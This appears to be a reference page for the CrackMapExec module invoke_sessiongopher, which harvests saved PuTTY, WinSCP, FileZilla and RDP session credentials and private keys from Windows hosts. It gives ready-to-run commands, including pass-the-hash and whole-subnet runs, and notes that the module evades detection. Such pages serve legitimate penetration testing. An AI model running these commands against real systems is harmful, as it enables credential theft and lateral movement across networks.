This page contains detailed information about how to use the invoke_sessiongopher CME module while using the smb protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.

Description

This module digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP from Windows registry using SessionGopher.ps1 PowerShell module. When run in Thorough mode, it also searches all drives for PuTTY private key files (.ppk) and extracts all relevant private key information, including the key itself, as well as for Remote Desktop (.rdp) and RSA (.sdtid) files.

The invoke_sessiongopher module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

Supported Protocols

  • mssql
  • smb

Module Options

Here is a complete list of invoke_sessiongopher module options:

# cme smb -M invoke_sessiongopher --options
[*] invoke_sessiongopher module options:

        THOROUGH   Searches entire filesystem for certain file extensions (default: False)
        ALLDOMAIN  Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False)

Module Usage

This is how to use the invoke_sessiongopher module while using the smb protocol:

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M invoke_sessiongopher

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M invoke_sessiongopher
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M invoke_sessiongopher

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M invoke_sessiongopher

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M invoke_sessiongopher
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M invoke_sessiongopher
The invoke_sessiongopher module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M invoke_sessiongopher
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M invoke_sessiongopher
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M invoke_sessiongopher
